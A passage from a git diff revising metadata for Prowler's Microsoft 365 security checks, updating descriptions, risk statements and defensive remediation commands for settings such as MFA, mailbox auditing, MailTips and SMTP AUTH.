"Ensure that multifactor authentication (MFA) is enabled for all users to enhance security and reduce the risk of unauthorized access.", - "Risk": "Without multifactor authentication (MFA), users are at a higher risk of account compromise due to credential theft, phishing, or brute-force attacks. A single-factor authentication method, such as passwords, is often insufficient to protect against modern cyber threats.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-azure-mfa", + "Description": "Microsoft Entra **Conditional Access** has an enforced policy requiring **multifactor authentication** for `All users` across `All cloud apps` *(not just report-only)*.", + "Risk": "Lacking an enforced, tenant-wide **MFA** mandate enables single-factor sign-ins to M365 apps. Stolen or sprayed passwords can yield access, leading to data exfiltration, unauthorized changes, and outages. Report-only or scoped policies leave gaps that undermine confidentiality, integrity, and availability.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-azure-mfa", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-all-users-mfa-strength", + "https://docs.azure.cn/en-us/entra/identity/conditional-access/policy-guests-mfa-strength" + ], "Remediation": { "Code": { "CLI": "", "NativeIaC": "", - "Other": "1. Navigate to the Microsoft Entra admin center https://entra.microsoft.com. 2. Click expand Protection > Conditional Access select Policies. 3. Click New policy. Under Users include All users (and do not exclude any user). Under Target resources include All cloud apps and do not create any exclusions. Under Grant select Grant Access and check Require multifactor authentication. Click Select at the bottom of the pane. 4. Under Enable policy set it to Report Only until the organization is ready to enable it. 5. Click Create.", - "Terraform": "" + "Other": "1. Sign in to Microsoft Entra admin center (https://entra.microsoft.com)\n2. Go to Protection > Conditional Access > Policies > Create new policy\n3. Users: Include > All users (do not add exclusions)\n4. Target resources: Resources (cloud apps) > Include > All resources (no exclusions)\n5. Access controls: Grant > Grant access > check Require multifactor authentication > Select\n6. Enable policy: On\n7. Create", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\" # Critical: enforce policy (not report-only)\n\n conditions {\n users {\n included_users = [\"All\"] # Critical: target all users\n }\n applications {\n included_applications = [\"All\"] # Critical: target all cloud apps/resources\n }\n }\n\n grant_controls {\n built_in_controls = [\"mfa\"] # Critical: require multifactor authentication\n }\n}\n```" }, "Recommendation": { - "Text": "Enable multifactor authentication for all users in the Microsoft 365 tenant. Ensure users register at least one strong second-factor authentication method, such as Microsoft Authenticator, SMS codes, or phone calls. Educate users on the importance of MFA and provide clear instructions for enrollment to minimize disruptions.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-azure-mfa" + "Text": "Enforce a **Conditional Access** policy requiring **MFA** for `All users` and `All cloud apps`. Exclude only break-glass accounts, favor **phishing-resistant** or authenticator methods, and avoid long-term report-only. Monitor sign-ins, review coverage regularly, and apply **least privilege** and **zero trust** to minimize exceptions.", + "Url": "https://hub.prowler.com/check/entra_users_mfa_enabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/exchange/exchange_external_email_tagging_enabled/exchange_external_email_tagging_enabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_external_email_tagging_enabled/exchange_external_email_tagging_enabled.metadata.json index a33543d8b3..97fa663760 100644 --- a/prowler/providers/m365/services/exchange/exchange_external_email_tagging_enabled/exchange_external_email_tagging_enabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_external_email_tagging_enabled/exchange_external_email_tagging_enabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "exchange_external_email_tagging_enabled", - "CheckTitle": "Ensure email from external senders is identified.", + "CheckTitle": "Identity has external sender tagging enabled", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Exchange External Mail Tagging", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that emails from external senders are identified using the native External tag experience in Outlook clients, which helps users recognize messages originating outside the organization.", - "Risk": "If external email tagging is not enabled, users may be unable to quickly identify emails coming from outside the organization, increasing the risk of phishing or social engineering attacks.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/exchange/set-externalinoutlook?view=exchange-ps", + "Description": "**Microsoft 365 Exchange Online** uses native external sender identification so supported Outlook clients display an `External` tag on messages originating outside the organization.", + "Risk": "Without the native tag, users lose a clear signal that a message is from outside the tenant, increasing susceptibility to **phishing**, **BEC**, and credential theft. This raises risks to **confidentiality** (exfiltration) and **integrity** (fraudulent approvals) via social engineering and reply-chain attacks.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://techcommunity.microsoft.com/t5/exchange-team-blog/native-external-sender-callouts-on-email-in-outlook/ba-p/2250098", + "https://learn.microsoft.com/en-us/powershell/module/exchangepowershell/set-externalinoutlook?view=exchange-ps" + ], "Remediation": { "Code": { "CLI": "Set-ExternalInOutlook -Enabled $true", "NativeIaC": "", - "Other": "", + "Other": "1. Sign in to the Exchange admin center: https://admin.exchange.microsoft.com\n2. Navigate to Mail flow > External tagging\n3. Turn on Enable external tagging in Outlook\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Enable the External tag for Outlook to help users visually identify emails from outside the organization.", - "Url": "https://techcommunity.microsoft.com/t5/exchange-team-blog/native-external-sender-callouts-on-email-in-outlook/ba-p/2250098" + "Text": "Enable native external sender identification and prefer it over subject-line modifications. Apply **defense in depth**: enforce **anti-phishing** protections, validate senders with SPF/DKIM/DMARC, and deliver user training. *Use exceptions sparingly* for trusted domains to reduce noise while preserving **least privilege** in communication paths.", + "Url": "https://hub.prowler.com/check/exchange_external_email_tagging_enabled" } }, "Categories": [ + "email-security", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/exchange/exchange_mailbox_audit_bypass_disabled/exchange_mailbox_audit_bypass_disabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_mailbox_audit_bypass_disabled/exchange_mailbox_audit_bypass_disabled.metadata.json index d454bbec4c..21d1893982 100644 --- a/prowler/providers/m365/services/exchange/exchange_mailbox_audit_bypass_disabled/exchange_mailbox_audit_bypass_disabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_mailbox_audit_bypass_disabled/exchange_mailbox_audit_bypass_disabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "exchange_mailbox_audit_bypass_disabled", - "CheckTitle": "Ensure 'AuditBypassEnabled' is not enabled on any mailbox in the organization.", + "CheckTitle": "Mailbox has AuditBypassEnabled disabled", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Exchange Mailboxes", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that no mailboxes in the organization have 'AuditBypassEnabled' set to true. This setting prevents mailbox audit logging and can allow unauthorized access without traceability.", - "Risk": "If 'AuditBypassEnabled' is set to true for any mailbox, access to those mailboxes won't be logged, creating a blind spot in forensic analysis and increasing the risk of undetected malicious activity.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/exchange/get-mailboxauditbypassassociation?view=exchange-ps", + "Description": "**Microsoft 365 Exchange Online mailboxes** are evaluated for **audit logging bypass** by reviewing the `AuditBypassEnabled` setting and identifying mailboxes where auditing can be circumvented.", + "Risk": "**Bypassed mailbox auditing** removes visibility into access and actions, weakening detective controls. Covert data exfiltration, inbox-rule abuse, and persistence become harder to spot, harming **confidentiality** and **integrity** and impeding **forensics**.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps" + ], "Remediation": { "Code": { - "CLI": "$MBXAudit = Get-MailboxAuditBypassAssociation -ResultSize unlimited | Where-Object { $_.AuditBypassEnabled -eq $true }; foreach ($mailbox in $MBXAudit) { $mailboxName = $mailbox.Name; Set-MailboxAuditBypassAssociation -Identity $mailboxName -AuditBypassEnabled $false; Write-Host \"Audit Bypass disabled for mailbox Identity: $mailboxName\" -ForegroundColor Green }", + "CLI": "Get-MailboxAuditBypassAssociation -ResultSize unlimited | Where-Object {$_.AuditBypassEnabled} | ForEach-Object { Set-MailboxAuditBypassAssociation -Identity $_.Identity -AuditBypassEnabled $false }", "NativeIaC": "", - "Other": "", + "Other": "1. Open PowerShell and connect to Exchange Online: Connect-ExchangeOnline\n2. Run:\n```\nGet-MailboxAuditBypassAssociation -ResultSize unlimited | Where-Object {$_.AuditBypassEnabled} | ForEach-Object { Set-MailboxAuditBypassAssociation -Identity $_.Identity -AuditBypassEnabled $false }\n```", "Terraform": "" }, "Recommendation": { - "Text": "Ensure that no mailboxes have 'AuditBypassEnabled' enabled to guarantee full audit logging for all mailbox activities.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps" + "Text": "Disable audit bypass by keeping `AuditBypassEnabled` set to `false` for all accounts. Apply **least privilege** to service identities, use dedicated accounts for automation, and monitor for bypass associations with alerts. Enforce **separation of duties** and preserve tamper-resistant audit logs.", + "Url": "https://hub.prowler.com/check/exchange_mailbox_audit_bypass_disabled" } }, "Categories": [ + "logging", + "forensics-ready", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/exchange/exchange_mailbox_policy_additional_storage_restricted/exchange_mailbox_policy_additional_storage_restricted.metadata.json b/prowler/providers/m365/services/exchange/exchange_mailbox_policy_additional_storage_restricted/exchange_mailbox_policy_additional_storage_restricted.metadata.json index 56f0d8d305..f9dc5c520b 100644 --- a/prowler/providers/m365/services/exchange/exchange_mailbox_policy_additional_storage_restricted/exchange_mailbox_policy_additional_storage_restricted.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_mailbox_policy_additional_storage_restricted/exchange_mailbox_policy_additional_storage_restricted.metadata.json @@ -1,31 +1,35 @@ { "Provider": "m365", "CheckID": "exchange_mailbox_policy_additional_storage_restricted", - "CheckTitle": "Ensure additional storage providers are restricted in Outlook on the web.", + "CheckTitle": "Mailbox policy has additional storage providers disabled", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Exchange Mailboxes Policy", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Restrict the availability of additional storage providers (e.g., Box, Dropbox, Google Drive) in Outlook on the web to prevent users from accessing external storage services through the OWA interface.", - "Risk": "Allowing users to access third-party storage providers from Outlook on the web increases the risk of data exfiltration and exposure to untrusted content or malware.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/exchange/set-owamailboxpolicy?view=exchange-ps", + "Description": "**Microsoft 365 Outlook on the web mailbox policy** governs access to **additional storage providers** (e.g., Box, Dropbox, Google Drive, personal OneDrive). The finding evaluates whether these third-party file integrations are disabled via `AdditionalStorageProvidersAvailable=false`.", + "Risk": "Enabling third-party storage in OWA weakens:\n- **Confidentiality**: data can leave the tenant to unmanaged clouds\n- **Integrity**: external links can deliver or reference malicious/tampered files\n- **Visibility/Compliance**: M365 DLP and audit may not fully apply, enabling undetected exfiltration", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/exchange/set-owamailboxpolicy?view=exchange-ps" + ], "Remediation": { "Code": { "CLI": "Set-OwaMailboxPolicy -Identity OwaMailboxPolicy-Default -AdditionalStorageProvidersAvailable $false", "NativeIaC": "", - "Other": "", + "Other": "1. Sign in to the Exchange admin center (https://admin.exchange.microsoft.com)\n2. Open Classic Exchange admin center (left pane)\n3. Go to Permissions > Outlook Web App policies\n4. Edit OwaMailboxPolicy-Default\n5. In Features, set \"Additional storage providers\" to Off\n6. Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable access to additional storage providers in Outlook on the web to reduce the risk of data leakage.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/exchange/set-owamailboxpolicy?view=exchange-ps" + "Text": "Block third-party storage integrations in the OWA mailbox policy (`AdditionalStorageProvidersAvailable=false`). Prefer **enterprise-managed repositories**, enforce **least privilege**, and apply **DLP** and **Conditional Access** to control egress. *If required*, permit only vetted providers under **governed exceptions** with monitoring.", + "Url": "https://hub.prowler.com/check/exchange_mailbox_policy_additional_storage_restricted" } }, "Categories": [ - "e3" + "e3", + "trust-boundaries" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/m365/services/exchange/exchange_organization_mailbox_auditing_enabled/exchange_organization_mailbox_auditing_enabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_organization_mailbox_auditing_enabled/exchange_organization_mailbox_auditing_enabled.metadata.json index e06fee6dfa..b690d94700 100644 --- a/prowler/providers/m365/services/exchange/exchange_organization_mailbox_auditing_enabled/exchange_organization_mailbox_auditing_enabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_organization_mailbox_auditing_enabled/exchange_organization_mailbox_auditing_enabled.metadata.json @@ -1,30 +1,37 @@ { "Provider": "m365", "CheckID": "exchange_organization_mailbox_auditing_enabled", - "CheckTitle": "Ensure AuditDisabled organizationally is set to False.", + "CheckTitle": "Organization has mailbox auditing enabled", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Exchange Organization Configuration", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that the AuditDisabled property is set to False at the organizational level in Exchange Online. This enables mailbox auditing by default for all mailboxes and overrides individual mailbox settings.", - "Risk": "If mailbox auditing is disabled at the organization level, no mailbox actions are audited, limiting forensic investigation capabilities and exposing the organization to undetected malicious activity.", - "RelatedUrl": "https://learn.microsoft.com/en-us/purview/audit-mailboxes?view=o365-worldwide", + "Description": "**Microsoft 365 Exchange Online** organization setting `AuditDisabled` controls tenant-wide **mailbox auditing**. This evaluates whether it is `False` so default audit events are recorded for owner, delegate, and admin across all mailboxes, taking precedence over per-mailbox settings.", + "Risk": "Disabling tenant-wide auditing lets mailbox activity go unrecorded. Adversaries or insiders could exfiltrate data, alter or delete messages, or send as users without trace, undermining **confidentiality**, **integrity**, and effective **incident response**.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://o365reports.com/2020/01/21/enable-mailbox-auditing-in-office-365-powershell/", + "https://learn.microsoft.com/en-us/purview/audit-mailboxes?view=o365-worldwide", + "https://learn.microsoft.com/en-us/powershell/module/exchange/set-organizationconfig?view=exchange-ps#-auditdisabled", + "https://techcommunity.microsoft.com/blog/microsoft-security-blog/exchange-online-mailbox-auditing-enabled-by-default/361324" + ], "Remediation": { "Code": { "CLI": "Set-OrganizationConfig -AuditDisabled $false", "NativeIaC": "", - "Other": "", + "Other": "1. Open PowerShell and connect to Exchange Online: Connect-ExchangeOnline\n2. Run: Set-OrganizationConfig -AuditDisabled $false\n3. Verify: Get-OrganizationConfig | Select-Object AuditDisabled (should be False)", "Terraform": "" }, "Recommendation": { - "Text": "Set AuditDisabled to False at the organization level to ensure mailbox auditing is always enforced.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/exchange/set-organizationconfig?view=exchange-ps#-auditdisabled" + "Text": "Ensure `AuditDisabled`=`False` to keep **mailbox auditing** on by default.\n\n- Apply **least privilege** and minimize audit bypass\n- Define retention and review audit logs\n- Alert on risky actions (e.g., hard delete, rule changes)\n- Layer with **defense in depth** for email access", + "Url": "https://hub.prowler.com/check/exchange_organization_mailbox_auditing_enabled" } }, "Categories": [ + "logging", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/exchange/exchange_organization_mailtips_enabled/exchange_organization_mailtips_enabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_organization_mailtips_enabled/exchange_organization_mailtips_enabled.metadata.json index 95ebf223c3..0438f8e5fb 100644 --- a/prowler/providers/m365/services/exchange/exchange_organization_mailtips_enabled/exchange_organization_mailtips_enabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_organization_mailtips_enabled/exchange_organization_mailtips_enabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "exchange_organization_mailtips_enabled", - "CheckTitle": "Ensure MailTips are enabled for end users.", + "CheckTitle": "Organization has MailTips fully enabled", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Exchange Organization Configuration", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that MailTips are enabled in Exchange Online to provide users with informative messages while composing emails, helping to avoid issues such as sending to large groups or external recipients unintentionally.", - "Risk": "Without MailTips, users may inadvertently send sensitive information externally or generate non-delivery reports, leading to communication errors and potential data exposure.", - "RelatedUrl": "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/mailtips/mailtips", + "Description": "**Microsoft 365 Exchange Online** organization has **MailTips** fully configured: `MailTipsAllTipsEnabled`, `MailTipsExternalRecipientsTipsEnabled`, `MailTipsGroupMetricsEnabled`, and `MailTipsLargeAudienceThreshold` `25`.", + "Risk": "Absent or lax **MailTips** reduces user cues, increasing unintended external sends and large-audience blasts, harming **confidentiality**. Missing group metrics or high thresholds hide risky recipient counts; no OOF/full-mailbox tips cause misdelivery that enables phishing loops and data exfiltration.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/exchangepowershell/set-organizationconfig?view=exchange-ps", + "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/mailtips/mailtips" + ], "Remediation": { "Code": { - "CLI": "$TipsParams = @{ MailTipsAllTipsEnabled = $true; MailTipsExternalRecipientsTipsEnabled = $true; MailTipsGroupMetricsEnabled = $true; MailTipsLargeAudienceThreshold = '25' }; Set-OrganizationConfig @TipsParams", + "CLI": "Set-OrganizationConfig -MailTipsAllTipsEnabled $true -MailTipsExternalRecipientsTipsEnabled $true -MailTipsGroupMetricsEnabled $true -MailTipsLargeAudienceThreshold 25", "NativeIaC": "", - "Other": "", + "Other": "1. Sign in to the Exchange admin center (admin.exchange.microsoft.com)\n2. Open Classic Exchange admin center > Organization > MailTips\n3. Enable: \"Enable MailTips\" (All tips)\n4. Enable: \"External recipients MailTip\"\n5. Enable: \"Turn on group metrics for MailTips\"\n6. Set \"Large audience threshold\" to 25 (or less)\n7. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Enable MailTips features in Exchange Online and configure the large audience threshold appropriately to assist users when composing emails.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/exchange/set-organizationconfig?view=exchange-ps" + "Text": "Apply **defense in depth** with consistent **MailTips**:\n- Enable external-recipient and group-metrics tips\n- Keep `MailTipsLargeAudienceThreshold` conservative (`25`)\n- Train users to heed tips before sending\nPair with **DLP** and restricted forwarding to prevent accidental disclosure.", + "Url": "https://hub.prowler.com/check/exchange_organization_mailtips_enabled" } }, "Categories": [ + "email-security", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/exchange/exchange_organization_modern_authentication_enabled/exchange_organization_modern_authentication_enabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_organization_modern_authentication_enabled/exchange_organization_modern_authentication_enabled.metadata.json index ea53183762..e98cf702c8 100644 --- a/prowler/providers/m365/services/exchange/exchange_organization_modern_authentication_enabled/exchange_organization_modern_authentication_enabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_organization_modern_authentication_enabled/exchange_organization_modern_authentication_enabled.metadata.json @@ -1,31 +1,35 @@ { "Provider": "m365", "CheckID": "exchange_organization_modern_authentication_enabled", - "CheckTitle": "Ensure Modern Authentication for Exchange Online is enabled.", + "CheckTitle": "Organization has Modern Authentication enabled", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "critical", - "ResourceType": "Exchange Organization Configuration", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that modern authentication is enabled for Exchange Online, requiring exchange and mailboxes clients to use strong authentication mechanisms instead of basic authentication.", - "Risk": "If modern authentication is not enabled, Exchange Online email clients may fall back to basic authentication, making it easier for attackers to bypass multifactor authentication and compromise user credentials.", - "RelatedUrl": "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/enable-or-disable-modern-authentication-in-exchange-online", + "Description": "**Microsoft 365 Exchange Online** organization setting determines if **Modern Authentication** (`OAuth 2.0`) is enabled for client connections.\n\nThis evaluates whether clients use token-based sign-in rather than `Basic` credentials.", + "Risk": "Without **Modern Authentication**, clients may fall back to `Basic`, disabling **MFA** and enabling **password spraying** and **credential stuffing**. Account takeover can expose mailboxes, alter rules, and send fraudulent emails, harming confidentiality and integrity.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/enable-or-disable-modern-authentication-in-exchange-online", + "https://profadmins.com/2020/03/27/enabling-modern-authentication-and-mfa/" + ], "Remediation": { "Code": { - "CLI": "Set-OrganizationConfig -OAuth2ClientProfileEnabled $True", + "CLI": "Set-OrganizationConfig -OAuth2ClientProfileEnabled $true", "NativeIaC": "", - "Other": "", + "Other": "1. Sign in to the Microsoft 365 admin center\n2. Go to Settings > Org settings > Modern authentication\n3. Enable \"Turn on modern authentication for Outlook 2013 for Windows and later\"\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Enable modern authentication in Exchange Online to enforce secure authentication methods for email clients.", - "Url": "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/enable-or-disable-modern-authentication-in-exchange-online" + "Text": "Enable **Modern Authentication** org-wide and phase out `Basic` to enforce token-based access. Require **MFA** with conditional access, block legacy mail protocols where feasible, and apply **least privilege** on mailbox permissions. Monitor sign-ins for legacy usage to maintain **defense in depth**.", + "Url": "https://hub.prowler.com/check/exchange_organization_modern_authentication_enabled" } }, "Categories": [ - "e3" + "identity-access" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/m365/services/exchange/exchange_roles_assignment_policy_addins_disabled/exchange_roles_assignment_policy_addins_disabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_roles_assignment_policy_addins_disabled/exchange_roles_assignment_policy_addins_disabled.metadata.json index d63ad787ab..e0f6633efc 100644 --- a/prowler/providers/m365/services/exchange/exchange_roles_assignment_policy_addins_disabled/exchange_roles_assignment_policy_addins_disabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_roles_assignment_policy_addins_disabled/exchange_roles_assignment_policy_addins_disabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "exchange_roles_assignment_policy_addins_disabled", - "CheckTitle": "Ensure there is no policy with Outlook add-ins allowed.", + "CheckTitle": "Role assignment policy does not allow Outlook add-ins", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Exchange Role Assignment Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Restricting users from installing Outlook add-ins reduces the risk of data exposure or exploitation through unapproved or vulnerable add-ins.", - "Risk": "Allowing users to install add-ins may expose sensitive information or introduce malicious behavior through third-party integrations. Disabling this capability mitigates the risk of unauthorized data access.", - "RelatedUrl": "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/add-ins-for-outlook/specify-who-can-install-and-manage-add-ins", + "Description": "**Microsoft 365 Exchange Online role assignment policies** are assessed for roles that permit installing or managing **Outlook add-ins** (such as `My Marketplace Apps`, `My Custom Apps`, `My ReadWriteMailbox Apps`, `Org Marketplace Apps`, `Org Custom Apps`). Presence of these roles indicates users or admins can deploy add-ins from the store or custom sources.", + "Risk": "Allowing add-in installation exposes mailboxes to **malicious or vulnerable add-ins**. With `ReadWriteMailbox`, an add-in can read, copy, or alter messages, auto-forward mail, and access tokens, enabling **data exfiltration**, message tampering, and **lateral movement**, impacting confidentiality and integrity.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/add-ins-for-outlook/specify-who-can-install-and-manage-add-ins", + "https://learn.microsoft.com/en-us/exchange/permissions-exo/role-assignment-policies" + ], "Remediation": { "Code": { - "CLI": "$policy = \"Role Assignment Policy - Prevent Add-ins\"; $roles = \"MyTextMessaging\", \"MyDistributionGroups\", \"MyMailSubscriptions\", \"MyBaseOptions\", \"MyVoiceMail\", \"MyProfileInformation\", \"MyContactInformation\", \"MyRetentionPolicies\", \"MyDistributionGroupMembership\"; New-RoleAssignmentPolicy -Name $policy -Roles $roles; Set-RoleAssignmentPolicy -id $policy -IsDefault; Get-EXOMailbox -ResultSize Unlimited | Set-Mailbox -RoleAssignmentPolicy $policy", + "CLI": "Get-ManagementRoleAssignment -RoleAssigneeType RoleAssignmentPolicy | Where-Object {$_.Name -like \"My Custom Apps-*\" -or $_.Name -like \"My Marketplace Apps-*\" -or $_.Name -like \"My ReadWriteMailbox Apps-*\"} | Remove-ManagementRoleAssignment -Confirm:$false", "NativeIaC": "", - "Other": "1. Navigate to Exchange admin center https://admin.exchange.microsoft.com. 2. Click to expand Roles > User roles. 3. Select Default Role Assignment Policy. 4. In the right pane, click Manage permissions. 5. Uncheck My Custom Apps, My Marketplace Apps and My ReadWriteMailboxApps under Other roles. 6. Save changes.", + "Other": "1. Sign in to the Exchange admin center: https://admin.exchange.microsoft.com\n2. Go to Roles > User roles\n3. For each role assignment policy:\n - Select the policy > Manage permissions\n - Under Other roles, uncheck: My Custom Apps, My Marketplace Apps, My ReadWriteMailbox Apps\n - Save changes\n4. Repeat for all role assignment policies so none include these three roles", "Terraform": "" }, "Recommendation": { - "Text": "Restrict Outlook add-in installation by updating the Role Assignment Policy to exclude roles that allow app installation.", - "Url": "https://learn.microsoft.com/en-us/exchange/permissions-exo/role-assignment-policies" + "Text": "Enforce **least privilege** for add-ins: remove add-in roles from end-user policies, reserve add-in management for trusted admins, and only deploy vetted add-ins via an **allowlist**. Review role assignment policies regularly to sustain **defense in depth** and prevent unapproved extensions.", + "Url": "https://hub.prowler.com/check/exchange_roles_assignment_policy_addins_disabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/exchange/exchange_shared_mailbox_sign_in_disabled/exchange_shared_mailbox_sign_in_disabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_shared_mailbox_sign_in_disabled/exchange_shared_mailbox_sign_in_disabled.metadata.json index 118868c158..71ef7efc0a 100644 --- a/prowler/providers/m365/services/exchange/exchange_shared_mailbox_sign_in_disabled/exchange_shared_mailbox_sign_in_disabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_shared_mailbox_sign_in_disabled/exchange_shared_mailbox_sign_in_disabled.metadata.json @@ -7,9 +7,9 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Shared Mailbox", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Shared mailboxes are used for collaboration and should not permit direct sign-in. This check verifies that the **AccountEnabled** property is set to `false` in Entra ID for all shared mailboxes, preventing direct authentication.", + "Description": "**Microsoft 365 Shared mailboxes** are used for collaboration and should not permit direct sign-in. This check verifies that the **AccountEnabled** property is set to `false` in Entra ID for all shared mailboxes, preventing direct authentication.", "Risk": "When sign-in is enabled on shared mailboxes, users with the password can bypass delegation controls and access the mailbox directly. This undermines **accountability** since actions cannot be attributed to individual users, and it increases the attack surface for credential-based attacks.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/m365/services/exchange/exchange_transport_config_smtp_auth_disabled/exchange_transport_config_smtp_auth_disabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_transport_config_smtp_auth_disabled/exchange_transport_config_smtp_auth_disabled.metadata.json index a39c9c23ca..81649fd8eb 100644 --- a/prowler/providers/m365/services/exchange/exchange_transport_config_smtp_auth_disabled/exchange_transport_config_smtp_auth_disabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_transport_config_smtp_auth_disabled/exchange_transport_config_smtp_auth_disabled.metadata.json @@ -1,30 +1,34 @@ { "Provider": "m365", "CheckID": "exchange_transport_config_smtp_auth_disabled", - "CheckTitle": "Ensure SMTP AUTH is disabled.", + "CheckTitle": "SMTP AUTH is disabled in the Exchange Online Transport Configuration", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Exchange Transport Config", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that SMTP AUTH is disabled at the organization level in Exchange Online to reduce exposure to legacy protocols that can be exploited for malicious use.", - "Risk": "Leaving SMTP AUTH enabled allows legacy clients to authenticate using outdated methods, increasing the risk of credential compromise and unauthorized email sending.", - "RelatedUrl": "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/authenticated-client-smtp-submission", + "Description": "**Microsoft 365 Exchange Online transport configuration** disables **authenticated SMTP submission** (`SMTP AUTH`) at the organization level", + "Risk": "With **SMTP AUTH enabled**, attackers can:\n- Launch **password spraying** against mailboxes\n- Bypass **MFA** on SMTP submissions\n- Send **unauthorized email**, enabling internal spoofing and phishing\n\nThis undermines message **integrity**, aids **lateral movement**, and harms tenant reputation and deliverability.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/authenticated-client-smtp-submission" + ], "Remediation": { "Code": { "CLI": "Set-TransportConfig -SmtpClientAuthenticationDisabled $true", "NativeIaC": "", - "Other": "1. Navigate to Exchange admin center https://admin.exchange.microsoft.com. 2. Select Settings > Mail flow. 3. Ensure 'Turn off SMTP AUTH protocol for your organization' is checked.", + "Other": "1. Open the Exchange admin center: https://admin.exchange.microsoft.com\n2. Go to Settings > Mail flow\n3. Turn on \"Turn off SMTP AUTH protocol for your organization\"\n4. Click Save", "Terraform": "" }, "Recommendation": { - 